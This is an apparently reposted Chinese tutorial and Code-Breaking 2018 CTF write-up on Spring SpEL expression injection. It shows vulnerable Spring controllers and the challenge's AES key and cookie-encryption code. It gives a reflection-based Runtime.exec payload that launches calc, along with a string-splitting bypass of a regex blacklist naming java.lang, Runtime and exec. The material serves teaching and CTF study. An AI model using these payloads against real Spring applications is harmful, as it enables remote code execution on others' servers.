SpEL表達式注入


一、內容簡介


Spring Expression Language(簡稱SpEL)是一種強大的表達式語言,支持在運行時查詢和操作對象圖。語言語法類似於Unified EL,但提供了額外的功能,特別是方法調用和基本的字符串模板功能。同時因為SpEL是以API接口的形式創建的,所以允許將其集成到其他應用程序和框架中。類似於Struts2中的OGNL。

SpEL對表達式語法解析過程進行了很高的抽象,抽象出解析器、表達式、解析上下文、估值(Evaluate)上下文等對象,非常優雅的表達了解析邏輯。主要的對象如下:

類名 說明
ExpressionParser 表達式解析器接口,包含了(Expression) parseExpression(String), (Expression) parseExpression(String, ParserContext)兩個接口方法
ParserContext 解析器上下文接口,主要是對解析器Token的抽象類,包含3個方法:getExpressionPrefix,getExpressionSuffix和isTemplate,就是表示表達式從什么符號開始什么符號結束,是否是作為模板(包含字面量和表達式)解析。一般保持默認。
Expression 表達式的抽象,是經過解析后的字符串表達式的形式表示。通過expressionInstance.getValue方法,可以獲取表示式的值。也可以通過調用getValue(EvaluationContext),從評估(evaluation)上下文中獲取表達式對於當前上下文的值
EvaluationContext 估值上下文接口,只有一個setter方法:setVariable(String, Object),通過調用該方法,可以為evaluation提供上下文變量

二、最基礎的觸發例子


普通表達式:

    @GetMapping({"/test"})
    @ResponseBody
    public String test(@RequestParam("input") String input){
        //創建表達式解析器
        SpelExpressionParser parser = new SpelExpressionParser();
        //解析表達式
        Expression expression = parser.parseExpression(input);
        //使用Expression.getValue()獲取表達式的值
        return expression.getValue().toString();
    }

注入點 input = 3*8
image.png

模板表達式:

    @GetMapping({"/hello"})
    @ResponseBody
    public String test2(@RequestParam("input") String input){
//        模板表達式
        String template = input;

//        創建模板解析器上下文
        ParserContext parserContext = new TemplateParserContext();

//        創建表達式解析器
        SpelExpressionParser parser = new SpelExpressionParser();

        //解析表達式,如果表達式是一個模板表達式,需要為解析傳入模板解析器上下文。
        Expression expression = parser.parseExpression(input,parserContext);

        return expression.getValue().toString();

    }

注入點: input=#{3*8}
image.png  image.png

三、Code-Breaking 2018


代碼審計:源代碼

運行項目
image.png
image.png

后台代碼審計
UserConfig:用戶信息
image.png
KeyworkProperties:配置黑名單,生成列表
image.png
Encryptor:Cookie字段的加解密
image.png

重點:Controller
admin 方法,獲取 Cookie,解密Cookie的rememberMeValue字段,賦值給 username 字段,傳遞給 getAdvanceValue 方法。

    @GetMapping
    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if (rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if (username != null) {
                session.setAttribute("username", username);
            }
        }

        Object username = session.getAttribute("username");
        if (username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }

進入getAdvanceValue 方法, 對傳入的 username字段,首先通過黑名單進行過濾。之后再進行 SpEL解析。因為我們可控Cookie,所以可以造成 SpEL注入攻擊。

private String getAdvanceValue(String val) {
        String[] var2 = this.keyworkProperties.getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
            }
        }

        ParserContext parserContext = new TemplateParserContext();
        Expression exp = this.parser.parseExpression(val, parserContext);
        SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

利用思路:構造命令執行 payload --> 加密 --> 修改 Cookie --> 服務器獲取 Cookie --> 解密 --> SpEL解析 --> 觸發執行 payload

先測試一下解密:

@Component
public class Madao {
    public static String encrypt(String key, String initVector, String value) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(1, skeySpec, iv);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return Base64.getUrlEncoder().encodeToString(encrypted);
        } catch (Exception var7) {
            return null;
        }
    }

    public static String decrypt(String key, String initVector, String encrypted) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(2, skeySpec, iv);
            byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
            return new String(original);
        } catch (Exception var7) {
            return null;
        }
    }
}
@SpringBootTest
class ReviewApplicationTests {

    @Autowired
    private Madao madao;

    @Test
    void contextLoads() {
        System.out.println(madao.decrypt("c0dehack1nghere1", "0123456789abcdef", "MXPUSANQRVaBJYtUucUgmQ=="));
    }

}

可以把 T(String) 看作 String.class
構造 payload :

#{T(String).forName(\"java.lang.Runtime\").getMethod(\"exec\",T(String)).invoke(T(String).forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(T(String).forName(\"java.lang.Runtime\")),\"calc\")}

拆分一下就看懂了:

String.class = T(String)

String.class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke( var1, "calc")

var1 = Runtime.getRuntime()
     =  String.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)

拆分,繞過黑名單

keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
#{T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\").getMethod(\"ex\"+\"ec\",T(String)).invoke(T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\")),\"calc\")}

加密:
image.png
修改Cookie:
image.png
image.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM